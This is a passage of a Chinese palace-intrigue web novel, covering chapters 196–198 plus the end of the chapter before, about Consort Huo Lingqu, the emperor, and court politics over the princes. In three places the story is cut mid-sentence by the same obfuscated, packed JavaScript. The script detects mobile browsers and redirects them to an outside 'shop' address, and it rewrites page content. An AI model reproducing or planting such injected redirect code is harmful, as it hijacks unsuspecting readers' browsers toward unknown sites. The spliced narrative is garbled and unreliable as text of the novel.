“谢陛下。”晏霁之告退,没有滞怠,今天见过她,够了,霍灵渠看着他走了,嬴忱璧靠近贵妃,霍灵渠把皇帝踹开:“我要去炖盅银耳老鸭汤孝敬太后,你走吧。” “朕才刚坐下!”嬴忱璧不满,就知道贵妃想打发他走。 “贵妃,”宫女疾步来禀告,霍灵渠和嬴忱璧看去,殿前,宫人们围着个小小的身影,一岁多的小幼儿要翻门槛找贵妃还不让宫人帮他,霍灵渠忙去接着孩子。 三日后,今宵楼前。 风月之地,夜里门庭若市,白天,小厮都在楼前打盹儿,来找信物,三个男的都没想到能走到这里来?魏王问她,你没记错?晏霁之怀疑,你知道这是什么地方吗?霍灵渠瞪眼,撇下他们往前去,三个男的对视,皇帝嬴忱璧是不走第一个了,魏王跟上。 霍灵渠在向掌柜点箜奴以及要间雅间,付锭银元宝,魏王三人过来,掌柜的眼前一亮,霍灵渠说:“一起的,掌柜若看得中,你开个价我看看?” 掌柜惊喜:“夫人当真愿意把这三位卖了?” 嬴忱璧满头黑线,魏王怒视她,晏霁之扶额:“好了。” 霍灵渠拿过门牌带他们仨跟小厮去雅间,小厮奉上茶水告退,他们坐坐,屋门被推开,一个披头散发浑浑噩噩的人进来,魏王看清他的面容,一怔,认出来了,是曾经东宫旧人。箜奴扫视圈,见到魏王也差不多有数了,没话。 霍灵渠拿出玉佩,魏王接过玉佩给箜奴:“我哥的信物,拿来吧。” 箜奴目不转睛注视玉佩:“已经过12年了,魏王来得太迟了。” “只是来拿信物,给往事完整,没有迟不迟之说。”魏王诉道,箜奴飞速打量魏王,又瞥过魏王边上拿出玉佩的女子,转身出门去,捧着木匣回来,是悼太子留下的信物,一本乐谱和一支玉笛,魏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723859|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王想笑又那么心酸,别过头,霍灵渠接过木匣。 “我没见过夫人。”箜奴疑惑:“太子身边的人都在猜他把兵符给了谁,可12年了,你一直没有来,我等12年,今年端午,12年期满,我以为这个人不会来了,你还这样年轻,12年前你应该都还没有及笄吧,太出人意料,你是谁?” 霍灵渠相告:“我叫霍灵渠。” 箜奴眼底闪过不可思议,好笑道:“夫人竟和霍贵妃同名?” “我就是霍灵渠,我爹是霍漓江,太后是我姑母。”霍灵渠告知,箜奴忽然神色癫狂:“不可能,殿下怎么可能会把兵符交给霍家的人、霍氏的侄女保管?” “是真的。”霍灵渠解释道:“十多年前我寻回京,没有进家门后找了大哥哥寻求庇护,我当年就和魏王去了姑苏城,在我进宫前一直是魏王在庇护我和我妹妹桑柔。” “不可能,不可能?”箜奴不愿意接受:“你们滚,滚!” 嬴忱璧率先往外走,霍灵渠看看箜奴,颔首示意后离去,然他们四人走出屋,发癫的人苦笑转看向太子信重之人,十二年前她还是个很小的小姑娘吧,箜奴闭闭眼,朝她的背影,行大礼,霍灵渠似有感的转身,在走廊尽头,她作揖还礼。 箜奴笑,泪光闪,或许这就是当年最好的安排,给曾经东宫众人12年安稳的安排。 今宵楼外,步昂将新送来的捷报呈给陛下。 北地大胜了! 拓地千里,阴山全境归入朝廷版图,举国的战事都结束了,皇帝和太上皇大喜,设置云中郡、安北都护府,护国公还得明年才能还朝,太上皇遂召原牧烈回京,又让宫中备筵席,一则给众将接风,二宴群臣,这一年,大家都辛苦了。 不日,皇宫中又传出喜讯,周柔华有一个半月的身孕了,晋正六品婉仪。 晏霁之在家望着薄薄纸片出神,他没把字添纸上而已,字在心里,姬家想让太上皇死、皇帝对霍灵渠放手,两者之间能有什么联系,他遗漏了什么? 嬴忱璧传老秦王回京又是何意? 倏尔,一个念头闪逝,快得晏霁之捕捉不到。 百思不得其解的某人拉着原牧炽陪他出游,去郊外,去寺庙,去赌坊,去茶楼酒肆,去大街小巷斗鸡走狗,尽情放松,也没有悬念的让霍灵渠知道了。 霍灵渠在屋里拿着秋扇敲矮桌,小小的人儿看着了,抓起和他手臂粗的棉纱棒打矮桌,霍灵渠瞥见,冷静些,把小幼儿搂过来,和小娃娃挤挤脸。 霍漓江带着食盒来看闺女,晏霁之送的食盒,霍灵渠嗔怪:“他不能自己来呀,有闲情天天在城里逛都没一两个时辰来看我,我都有事情想跟他商量呢。” “他来找你,谈不到一刻钟,皇帝就能过来,你看皇帝最近是没空盯着你们两个吗?”霍漓江嘲笑:“他吃饱了撑得在这时候往皇帝眼皮底下跑?” “那我出宫。”霍灵渠不假思索:“我去找他。” “你想都不要想。”霍漓江走人,省得被闺女缠上。 霍灵渠闷闷地看向食盒,随手捡颗脆团子吃,而她似乎忘了她怀里还有个人,小幼儿抓起软糯的红豆糕,霍灵渠连忙盖上食盒,把小家伙抱走。 夕阳下,炊烟袅袅,市井生活的烟火气洒满不算整洁的街道,原牧炽看他心不在蔫,他俩走到个鱼摊前,摊主招呼他们买鱼,晏霁之望着发呆,原牧炽大手一挥,全要了,摊主乐着说要不要给客官把鱼拾掇好,原牧炽说不用,晏霁之说好。 原牧炽掏钱付账,他不跟个心不在焉的人计较。 晏霁之望着摊主将鱼一条条拾掇好,总觉得快要抓住什么了,又捕捉不到。 他到底还遗漏了什么没想到? 196. 第196章 蜀王凯旋回京,大军浩浩荡荡走过,沿街尽是夹道欢迎的百姓们。 嬴天漾在熙熙攘攘的人群冲来接的俩人挥手,他给皇帝和太上皇上表是还得半月后到,提前几天回京来看很正常嘛。 原牧炽和晏霁之跟他会合,嬴天漾拍堂弟的背,原牧炽忍了,嬴天漾扯他的脸,原牧炽不能忍了:“你干什么你,拉拉扯扯的?” “我给你检查呢,还失忆,失忆是个什么毛病啊,你怎么就惹上这种千奇百怪的毛病,脑子怎么长的?”嬴天漾拽着他走:“赶紧的,我带你去看大夫。” 原牧炽挣扎要挣脱:“我自己会走。”他就知道这老兄黏黏糊糊的。 晏霁之隔开几步跟着。 隐没在人群的孟怋乂关注过他们,再看过逐渐远去的大军,转身迈步,甚至他的步伐还没落下,猛地定住,一支强劲的飞箭穿过他的眉心,血从眉心淌下来,他抬手一抹,仿佛才意识到情况,又几支箭射来击穿他的脾肺,孟怋乂直直倒落在地。 周遭人群惊恐的散开去,尚未走远的晏霁之和嬴天漾、原牧炽返回来,三人看得一怔,原牧炽留下句:“我去看谁放暗箭。”就蹿出去。 嬴天漾问晏霁之:“你认识他?” “朱家,第一幕僚。”晏霁之告知,嬴天漾讶然。 孟怋乂眼中似有请求,晏霁之将他扶坐起来,孟怋乂苦笑:“你知道是谁吗?” “我想,应该是,”晏霁之抬头看向天空,嬴天漾心莫名又似有些发沉,是皇帝,他那位堂哥嬴忱璧,孟怋乂也看懂了,不知是想哭还是想笑,握住英王世子的手,说:“我想,做一阵风,我亲自去验证,我验证好了,我告诉你,地是圆的。” “我给你火化,让你随风去。”晏霁之应承。 “好。”孟怋乂闭上眼睛,手臂摔倒在地,原牧炽和蜀王等一同过来,出现骚乱,蜀王返回来查探,原牧炽道:“没找到谁放暗箭。”嬴天漾对他耳语,原牧炽惊讶看他,晏朗之和霍海啸下马来,蜀王高坐在骏马上问:“此人是谁?” “我会向陛下禀告,王爷不必费心了。”晏霁之冷漠,晏朗之想上前被霍海啸拉住,霍海啸向蜀王打圆场:“王爷,圣人和陛下还在等着,不好耽搁了。” 臧芣缄背脊发寒,蜀王骑马就走,臧芣缄稍微迟缓下,握紧缰绳,随众而去。 晏霁之暂且把孟怋乂的遗骨送去义庄,进皇宫去向皇帝禀告,嬴忱璧没多言就随他了。但这事让嬴天漾亮相了呀,他也得去给皇帝和太上皇报个到。 办好孟怋乂的后事,晏霁之出城。 在山巅,迎着风,晏霁之让孟怋乂的骨灰随风去。 “感慨吧。”晏霁之看去,嬴天漾和原牧炽、魏王和霍海啸都来了,还有一个班蕴堂。 嬴天漾同意:“这冷不丁的,皇帝也忒吓人。” “你没有再喊过他老五了。”晏霁之觉察,嬴天漾想瞪瞪,不理他,霍海啸奇怪:“陛下早查到走漏的反贼了,为什么不是抓捕归案斩首示众?” “臧芣缄。”魏王眉眼沉沉地吐出三个字,五个人都看向他,晏霁之懂,自然装懵懂,皇帝应该就没有追踪孟怋乂,皇帝赌孟怋乂会找上臧芣缄,霍然的,晏霁之自嘲,什么叫没有追踪啊,嬴忱璧就是故意漏掉孟怋乂,看臧芣缄能不能经受得住。 “你什么意思?”嬴天漾不解:“朱家这个幕僚去找了臧芣缄,皇帝做给臧芣缄看的,他找臧芣缄作甚,要找也该找蜀王吧?” 霍海啸都不可思议:“臧芣缄有反骨?” “啊?”原牧炽心一惊,魏王狠笑,他竟是才看明白嬴忱璧作甚要臧芣缄死,咬牙道:“圣人不想颐养天年,若是本王和年长的几兄弟都走在圣人前头,圣人再剪除了外戚,圣人又器重臧芣缄,圣人驾崩,幼主继位,朝堂是什么景象?” 班蕴堂和嬴天漾猛然对视,霍海啸难以置信的看着魏王,原牧炽发飙:“还有完没完,老子忍无可忍了,老子要回北地,老子不想掺和这些破事。” 嬴天漾踹他一屁股:“老子把你踹下山,你再自己爬上来行吧?” 原牧炽瞪瞪他,闭嘴了。 霍海啸看着魏王:“你和蜀王能是他的对手吗,他一齐收拾两个都不在话下吧。” 言尽,霍海啸走掉,魏王眸间一厉,嬴天漾拉堂弟走,原牧炽还回头,嬴天漾训:“别看了,他能走霍海啸后头吗?霍海啸走前了,他肯定等我们走远了再走,破别扭,这么多年了还劲儿劲儿的。”他说魏王呢,魏王没理会。 班蕴堂和晏霁之对视,晏霁之道:“我们也先走了,风大,王爷别留太久。” “嗯。”魏王应了声,按熟悉他的人多少得意外,晏霁之没多瞟魏王,和班蕴堂离去。他们走过一段路,还站在山顶,班蕴堂道:“圣人不会想颐养天年?” 晏霁之远看天际,天高,天凉,浮云翳日。 “今年应该会见分晓。” 滕王妃进宫给太后请安,给霍贵妃带去个消息,三皇子病了,但这又非隐秘,霍灵渠问滕王妃可是有难言之隐?滕王妃委婉道:“贵妃,两位殿下离宫时受了惊吓,又一个多月未见过陛下和楚美人,心中忐忑,不是滕王府尽心就能照料好的。” “你想我出面把两个皇子接回宫来?”霍灵渠替她言明:“一来利于小孩养病,二来,恐防陛下此前意气用事,可深思熟虑后决断,已经十月了,还有不到三个月就要过年,陛下真想把两个孩儿放在滕王府养,明年送出宫去也不迟。” 滕王妃低头。 “湘王的闺女,自洗三后,太后就没再见过小孙女。”霍灵渠斟酌道:“过两天,让湘王夫妇带女儿来给太后瞧瞧,我和陛下带四皇子和翁嫔、周婉仪去给太后请安,你和滕王来说三皇子病了,太后和陛下提接孩子回宫来养病,顺水推舟了。” 滕王妃谢过贵妃,她走后,霍灵渠去找皇帝谈。 嬴忱璧自是最早知晓孩儿感染风寒病了,好几个太医照料着,皇帝沉默片刻,同意了。霍灵渠再去拾翠阁找翁嫔交代好,翁嫔阐发:“贵妃,妾觉得楚美人想拿捏你。 三皇子病了,贵妃说前,妾也耳闻了,楚家人常去滕王府探望,三皇子病了,楚家必然告知楚美人,楚太太和楚美人的姐姐前天进宫,想让楚美人去求陛下让两个皇子回宫,可这楚美人不言不语的都气得楚太太要按着楚美人的头去撞墙了。 您说,这楚美人是压根儿不在意孩儿好坏,还是她就仗着贵妃您心软,妄想胁迫您,您替她的孩儿忙前忙后但她这两个孩儿可不会记贵妃您的好是向着她的呀。” 霍灵渠回到关雎宫时,宫人禀告:蜀王来了,在陪小皇子玩。 霍灵渠进门一看,庭前,蜀王在丢香囊,小幼儿捡回去,蜀王再丢,小幼儿再捡。霍灵渠失笑,让陪护的宫人们散去,小幼儿抱住贵妃的裙摆,霍灵渠把孩子抱起来,看阿胜笑,转而对着小幼儿教道:“这是伯伯,伯伯,蜀王伯伯。” 小幼儿看半响喊出:“萝卜。” 霍灵渠被逗得开怀笑:“是伯伯,伯伯。” 阿胜也笑,抬抬手臂还是放下:“做什么去了,我过来,你反而没在。” 霍灵渠解释遍,阿胜讥诮:“这就是看皇帝很疼爱这两个孩子,又是庶长子,庶次子,打心底里相信他们将来大有前程,能示好就可着劲示好,若不然,你看看,莫说受点风寒,就是病重病死了,都绝没有敢来向你张口的。” “打心底里?”霍灵渠喃喃,嬴忱璧走来,阿胜视若无睹:“皇帝这黏糊劲儿,当然他可能也是故意,霍家趁早扶持湘王吧,不然早晚得死在他手上。” 霍灵渠看向表哥,阿胜越过表妹看向表妹后边的人,扎心的嬴忱璧……皇帝他发誓,他若是不同意贵妃要把两个皇子接回宫的请求,蜀王保管也能有话,霍灵渠转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728233|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,看见皇帝,请个安,让小幼儿叫人,小幼儿软糯糯:“父皇~~” 嬴忱璧含笑嗯声,对蜀王就不友好了:“皇兄,背后恶语伤人不该吧?” “我不是当着你的面说的,你刚刚没在场?”阿胜一脸嗤之以鼻,嬴忱璧差点吵架了:“你凭什么这么说,我要对霍家好,我就不能疼爱孩子了?” 阿胜的视线再看向前,嬴忱璧看去,晏霁之和嬴天漾。 嬴天漾申明:“我来看我的孔雀。”他被晏霁之拽着来的,晏霁之:“我陪阿漾来看孔雀,他一个人害怕。”真是嬴天漾都想嫌他,你就不能好歹找个借口。 嬴忱璧被气笑了:“是吗?云南王这么胆小啊。” 晏霁之闭嘴,霍灵渠甜滋滋,小幼儿看看,说:“萝卜。” 小幼儿看着嬴天漾呢,嬴天漾:“……” 阿胜瞟眼,晏霁之和嬴忱璧都一怔,几人情绪霍然一轻,好了,嬴忱璧都有点想笑了,嬴天漾谴责:“霍灵渠,你怎么教孩子的?”熟稔得好似根本没有过十几年未见的苍白,嬴忱璧兀然想起去年他和贵妃的重逢,皇帝心里又有点闷。 “我刚教他喊蜀王伯伯,他喊不来伯伯喊了萝卜。”霍灵渠淡淡道:“他没准看你和蜀王像把你认成蜀王了,他才一岁多,你指望他能认得清楚多少?” 嬴天漾指着晏霁之哄小娃:“这个,萝卜,萝卜,叫萝卜。” 小幼儿看看,扭头窝贵妃怀里,晏霁之笑,嬴天漾有意见:“霍灵渠?” “他对母妃都还喊不来,母字和贵字有些难念,他对着我就是喊妃妃,对翁嫔喊妃。”霍灵渠安抚,嬴天漾被较真道:“这不一样吗?” “娃娃自己认得清就行了。”霍灵渠话落,嬴忱璧要赶他们走了,霍灵渠踹他,皇帝瞪向贵妃,霍灵渠把皇帝看回去,嬴天漾神情有点微妙,然后被堂哥抓包了,嬴天漾别过头,阿胜透露:“陛下要把他在滕王府的两个孩儿接回来。” 晏霁之和嬴天漾对看,霍灵渠解释清楚,晏霁之蹙眉:“滕王妃?” “怎么了?”霍灵渠怪异,晏霁之霍然看向皇帝,嬴忱璧被他看得都有点庄重了。 “你有话就说呀。”嬴忱璧发话,晏霁之肃然:“陛下想过没有,三皇子只是受风寒,有太医们照料着,不算什么大事,滕王妃作甚还要把事情摆到贵妃面前,滕王府若是怕担事,滕王妃何不去找楚美人或者滕王直接来找你?” 嬴忱璧微愣,晏霁之叹息:“我想,滕王和滕王妃没有多想,没有看好这两个皇子,也没有对霍家的恶意,就是自发的想法和做法,但你不觉得这才恐怖吗,你对这两个皇子好得让王亲贵胄们不自觉捧着他们,假若你没想对他们寄予厚望?” “且不论这两个皇子会否要找死,你做的呢?”晏霁之举重若轻:“二皇子很狭隘吧,贵妃若拒绝滕王妃就会被二皇子恨上吧,楚美人又为何没反应,因为你疼爱孩儿,你会把这两个孩儿照顾好,说难听一点,这位就是吃定你了。 表哥,你纵横天下何等凌厉,你但凡把你这份凌厉用一分在你的后妃儿女身上,何至于一个小小的妃子都敢笃定了吃定你?楚美人有没有想要做太后,她想的吧,她爹还在牢里,皇帝你还才三十岁,她都妄想要做太后了,谁供出来的?” 皇帝嬴忱璧闭闭眼睛:“退下。” 嬴天漾和晏霁之告退,阿胜慢步走,嬴忱璧看向贵妃,苦笑:“朕该驳掉?” 霍灵渠坦言:“我没多想。” “晏霁之还想说,你是不是不自觉的就能委屈霍家?蜀王在说,霍家不要名声了,贵妃在宫里都还要被你糟心。”所以,蜀王刚才多言,嬴忱璧黯然,好像就他不懂,我既想要对霍家好又为什么非得要去骄纵那些容不得霍家的? 霍灵渠把小幼儿给皇帝,宽慰道:“既应允滕王妃,不好再变,明年看吧。” 嬴忱璧答:“好。” 197. 第197章 望见余生。 一个神清气爽的早晨,湘王夫妇带女儿进宫,太后抱着襁褓中还不满两个月的小孙女,霍灵渠就近落座在摆放在太后身边的锦凳,抱着小幼儿给他看妹妹,皇帝嬴忱璧都没有坐,站在贵妃身侧,嬴忱璧都觉得,这小侄女今后会是公主的待遇。 其实湘王夫妻俩成亲有三年了,作为婆婆,对湘王妃,霍太后可以说是个很好的婆婆,她从来没有催促过儿媳妇,湘王妃第一胎生下个女儿,太后也没什么不同,或者说,霍太后不需要在意,哪怕湘王将来只有庶子没有嫡子对太后都没有影响。 知足,暖阁里好几人不约而同想到,湘王和霍家不生事,或许皇帝真愿意宠这个弟弟,给霍家善终。 滕王感叹,湘王真挺有福气,霍家能愿意安分不去卷入将来的争储吗? 滕王心笑笑,不愿意不可能还屹立未倒吧。 霍太后问起周婉仪的怀相,周婉仪拣着要点答了,太后点点头,交代贵妃要看顾好,又嘱翁嫔,翁嫔生养过帮着照看些,翁嫔忙答应,周婉仪谢太后恩典。 湘王妃视线掠过霍贵妃,在旁的嬷嬷陶女官看得懂,王妃想,贵妃将来若只有公主,就真是她自己和霍家还有湘王的福泽了,所有相关的人都能求得安稳。 滕王妃微怔,一个激灵,陛下在霍家和孩儿之间偏向谁?是霍太后,霍贵妃,霍家吧。霍家凌厉,总让人认为陛下容不得霍家,但若霍家能只求安稳,陛下会做绝吗? 太后到底把他养育长大了。 皇帝将来儿女越多,难道会没有能跟霍家融洽的孩儿?二皇子与三皇子还会有前景吗,在离宫前这才六岁的小小孩子就想打压贵妃了,这俩皇子其实与废人无异了。 周婉仪察觉到有被注视,抬眸,又低眸,翁嫔在这一刻忽然信了,霍家能够善终,只要霍家不再逾矩,霍太后愿意示好,陛下何乐而不为?这是很温馨之景,高堂,手足,妻儿,皇帝是孤家寡人,但若可以有寻常百姓家的幸福,陛下也想的吧,周婉仪想。 小幼儿望着襁褓,霍灵渠教道:“妹妹,这是妹妹,小妹妹。” 小家伙似乎说不出来妹字,窝在贵妃怀里了,嬴忱璧笑着摸摸皇儿脑袋,湘王可担心:“贵妃你让四皇子看也看了,抱远一点吧,省得万一四皇子手乱戳。” 霍灵渠说他:“才做几天爹呢,当我没见过你穿开裆裤的时候呀?” 霍太后微微一噎,又忍笑,嬴忱璧忍俊不禁,看客们偷笑,湘王气得要打这个表姐了,湘王妃拉着相公,霍太后顺势道:“皇帝,母后听闻三皇子病了。” 嬴忱璧默下:“是。” 滕王夫妇俩要请罪,太后摆摆手示意不碍,一小宫人在门前探头,绕进来知会大总管,霍太后在说:“人哪有不生病的,只是,三皇子毕竟还小。 皇帝也一个多月未见过两个皇子了,要不了三个月就过年了,一家和乐融融的,留两个皇子在宫外到底有些凄清了,皇儿看在母后的面上,接两个皇子回宫来,等孩子养好了病,也过了年,明年,皇帝再想如何教育孩子,明年议吧。” 嬴忱璧瞥过大总管,看向太后,霍太后点头,嬴忱璧问:“何事?” 蒋厚运禀告:“禀陛下、太后,楚美人跪在长春宫外。” 周婉仪看向翁嫔,翁嫔是感觉有点烦闷的。 湘王妃去从太后婆母那里把女儿接过来,嬴忱璧道:“母后,她既跪着,朕先去看看吧。” 霍太后温和嗯声,皇帝带湘王和滕王夫妇出去,霍灵渠沉默稍许带翁嫔和周婉仪跟着,但没出长春宫。 翁嫔想她来抱孩儿,贵妃抱许久该抱累了,霍灵渠推拒了。 墙外,嬴忱璧质问:“你莫名其妙的跪在皇太后的宫殿前,又不肯告知宫人是有何事,你在做什么?你想做什么?在宫里这么些年,你是越活越回去了?” 楚美人背脊挺直,视线不抬高也没有压低,发髻一丝不苟,佩戴巾帼冠饰,不卑不亢:“三皇子病了,请陛下将两位皇子接回宫,陛下对臣妾有何不满都不该把气撒在孩子身上,只要陛下接两个皇子回宫,臣妾愿以一死抵消陛下心头之恨。” 她甚至没有用一个求字,请求二字都没,周婉仪想。 湘王就很不舒服想冲上前又踌躇,看向滕王,滕王拉住堂弟,滕王妃真看不懂这位了,楚太太都告诉她了,陛下已经应允将两位皇子暂接回宫,这得是什么心思才非得要来搅和,怪她娘都说她不疼孩子,她声名狼藉了,所以来装腔? 宫人们把头压得低低的,嬴忱璧冷冷怒视她,愤怒犹如疾风骤雨而来:“朕把对你的气撒在孩子身上,我接两个皇子回宫与否还得用你来交换? 两个皇儿今年养在关雎宫八个多月,你没有一天往关雎宫关怀过,三皇子病几天了,你娘前几天就告诉你,你是什么样的慈母心肠,非得拖到今天、在昨天你娘又进宫来告诉你、滕王妃已经请得贵妃相助的今天,你跑来长春宫演这么一出?” “你是真不想在宫里过了是吧?” 嬴忱璧怒发冲冠,勃然抬臂指她:“朕成全你!” 嬴忱璧怫然拂袖:“楚氏移出禁宫,随二皇子三皇子住谷王府,有生母照料,两个皇子不必谷王夫妇费心不会搅扰谷王府,今后,宫中按八品选侍份例拨给楚氏。” 皇帝最后的三个字:“拖下去!” 两个粗壮内侍以最快的速度将楚美人拖走,陪楚美人跪着的五个宫婢,包括胡姑姑在内是楚氏带来的三人心惊胆战诚惶诚恐,她们必得跟着主子出宫了,但就是胡姑姑都不想了,她怎么都想不到这美人今天要来长春宫是这么个闹法。 一年多了还有几人看不清,另外两个宫女想,她们想想办法应该能不跟去的。 墙内,翁嫔拉着个脸都俏脸难看,张口闭口全是指责旁人,偏她自己好像多大义凛然,她就干脆不要脸了是吧! 霍灵渠想起来关雎宫相求的宫女小扇。 楚美人不愿意有任何事求告到姓霍的面前? 她受不住,她对皇儿生病无动于衷,反而是姓霍的求得皇帝应允暂接她两个皇子回宫,她是抱着死的心来的,但,霍灵渠牵牵唇,楚氏自己信吗? 楚氏骨子里相信皇帝会赐死她吗? 她笃定不会。 霍灵渠兀然想起去年四月里楚氏给郭氏奔走,皇帝曾说,昨天她还在标榜哪怕为此失宠都在所不惜,今日她的真心就被击碎,轻易得像个笑话。所以那会儿,楚氏骨子里就没想过她会失宠,反而皇帝冷落她,她当真失宠,她能提前变成后来的模样。 霍灵渠想笑,才看懂,这个人无耻。 滕王夫妻俩和谷王夫妇还有楚太太婆媳相距不到一刻钟赶到滕王府,滕王妃带叔婶去给两位小殿下收拾箱笼,楚太太流着泪对滕王磕头,滕王冷然道:“楚太太真心想求,你应该去求楚美人,你这个女儿,第二回了,还没有两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731664|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个月就两回了。” 楚太太踉跄着让儿媳妇扶起来告辞,转过身的瞬间,眼亮得吓人。 一群看戏的涌来滕王府前,皇帝嬴忱璧到来,这群大少爷们默默地移开个五六步距离,就魏王还和皇帝杵在一起,霍海啸来,大少爷们看乐了,霍海啸:“笑什么?” “你看啊,你往那儿一站,你再想,有两个小孩在你面前一脸惊恐瑟瑟发抖,放话本子里,你说是不是活灵活现的,你像什么?”是一个宗亲说的,但霍巨浪都觉得这大哥忒像,霍雄鹰嫌嫌的,这大哥,外表看都是活脱脱的权臣模子。 霍海啸幽默一把:“有没有人替我说句话?” 晏霁之道:“咱们眼拙了,竟然才发现,从潜邸过来的这三位,还活着的这个比已经死去的那两位还卑劣不堪。”惹得一群人都想嫌他了,这么上赶着。 霍海啸轻快笑:“谢了啊,待会儿请你喝酒。” “我说认真的。”晏霁之正色道。 众人微怔,霍海啸感觉莫名,魏王瞥眼嬴忱璧,提醒:“郭庶人可是逼宫而死。” “对,但杭楚二人若有机会一样做得出来,郭庶人优于杭婕妤,杭婕妤优于楚美人。”晏霁之看向皇帝,嬴忱璧神情很淡漠:“楚美人会敢想弑君?” “假若有大臣支持她的儿子。”晏霁之给个假设,放言道:“已故的杭婕妤优于楚美人,因为前者若想弑君,不掩饰自己就是想要权,后者无耻。 楚美人自诩是什么样的人,一年多来又在闹些什么,一个根本就权欲熏心却还要假装不屑名利富贵的人,她若是能有机会去接近权利,她会肯放过?” 大家安静。 嬴忱璧倏然想起,贵妃曾跟他说,楚氏若做太后,容不得霍家,缘何?因为这个人她自觉完美而霍家在她眼中是奸邪。嬴忱璧感觉心里在滴水,脸一点点沉下来,皇帝缓缓转向,在看到云南王时眼神定住,嬴天漾毛骨悚然:“老五你看什么?” 嬴忱璧走了。 嬴天漾拉着晏霁之找个空旷地,霍海啸和原牧炽跟过去,嬴天漾焦虑问皇帝什么意思,他刚刚差点心惊肉跳,晏霁之安抚:“他不是在看你,他在想臧芣缄。” “你说,皇帝一瞬间想到了若是太上皇对陛下发难,让臧芣缄控制全城,太微宫里你死我活,臧芣缄若后怕孟怋乂的死他被盯上了,会想一不做二不休趁机反叛?”霍海啸了然,嬴天漾啧啧,晏霁之提醒:“还有魏王,或者还有蜀王呢。” 原牧炽想揉揉眉心,嫌累。 霍海啸皱眉:“我原想,陛下是情愿这两个皇子被养废了,眼下?” “二皇子怕是和他娘一样贪了,若生母和哥哥没了,三皇子?”晏霁之摇头:“这回就是臧芣缄死了,魏王还在呢。”魏王若想把三皇子拿来摆几天,嬴忱璧再等三皇子跟他两个哥哥一样做决定吗?一而再,再而三,皇帝自己都太沸腾了吧。 晏霁之回到家,晏墉训:“大庭广众,非得显摆是吧?” 晏霁之左耳进右耳出,晏墉点破:“妄想弑君,楚美人还能活吗?” 原当老爹老生常谈的训话,晏霁之一怔,看向父亲,晏墉道:“陛下没想让楚美人死就是楚美人死了她这两个皇子不好办,陛下不想和儿子走到父子情薄,但若楚美人敢想弑君,众目睽睽,多少人在,这楚氏还能活吗?你还真当你们表兄弟在闲侃啊。” 霍擎在家想了又想,第二天早上,进宫。 198. 第198章 日头好,两只孔雀散步,小幼儿摇摇晃晃追,霍擎坐着小板凳看小幼儿走,霍灵渠笑:“看您还挺感慨的,您七十二岁了,他还不到两岁呢,可不兴羡慕他。” “祖父老了。”霍擎自知:“如今一天天过的不是日子,是命,咱们这样坐着,灵儿也能感觉到这垂暮之年的人他的生命气息在流逝,是很明显的。” 霍灵渠心酸下,又打趣:“您怎么还伤春悲秋起来了?” “我让你三叔祖回来趟,来见见我,不然,怕下回见,我不是快死了就是他来给我上香了。”霍擎道,霍灵渠低头沉重,霍擎眼神坚毅:“灵儿,祖父想做一件事。” 霍灵渠看向祖父,霍擎忧虑:“我想霍家退掉,陛下不愿意,我还能看到陛下之后吗,经过陛下的几十年,霍家又将多多少人,皇帝百年之后,继承大统的那位能让霍家全身而退吗?这位是记在霍皇后名下又如何,这根本不够。 我能看见的,是我敢赌,陛下百年后的新帝是霍皇后的儿子,皇帝可以有几十个儿子,但新帝一定会是霍皇后的孩儿,皇帝会把新帝过继给霍皇后。” “祖父——”霍灵渠苦笑残酷:“没有霍皇后,我今年会假死离宫。” “霍贵妃就是今天殁了,皇帝都会给贵妃追尊,是霍皇后。”霍擎看着孙女,断言道:“皇帝百年之后的新帝一定会是霍皇后的儿子,但——”霍擎看向小娃娃,小幼儿看过来,高兴向贵妃走来,扑进贵妃怀里:“抱抱——” 霍灵渠心颤下,抱住这孩子。 霍擎补出:“但很有可能,只有四皇子是霍皇后亲自养育过的孩儿。” “皇帝不会教育孩子,祖父怕四皇子会步他兄长们的前尘,祖父想送皇帝一堂课,让他懂得教育孩子,能教育出他想要的孩子,孝顺,敬爱父亲,还能担得起事的孩子,但这堂课要不要,我让皇帝自己选。”霍擎拄拐杖站起来,去坐石桌。 霍灵渠看向在她怀里扭滚的小幼儿,小家伙不想坐。 霍灵渠将小娃娃竖抱,小幼儿搂住贵妃。 皇帝来,把晏霁之和霍秦川、霍漓江、霍海啸都带来了,两个年轻的是跟着皇帝来的,霍秦川哥俩是老太爷喊来,这阵仗?霍秦川心里总有点悬。 嬴忱璧关切老国丈的身体可好,还带来支老山参送给老国丈,霍擎老神在在嗯:“老臣谢陛下,礼尚往来,老臣也有一份礼送给陛下,就看陛下您想不想要?” 嬴忱璧笑容和煦,皇帝心情还行吧:“是什么礼?” 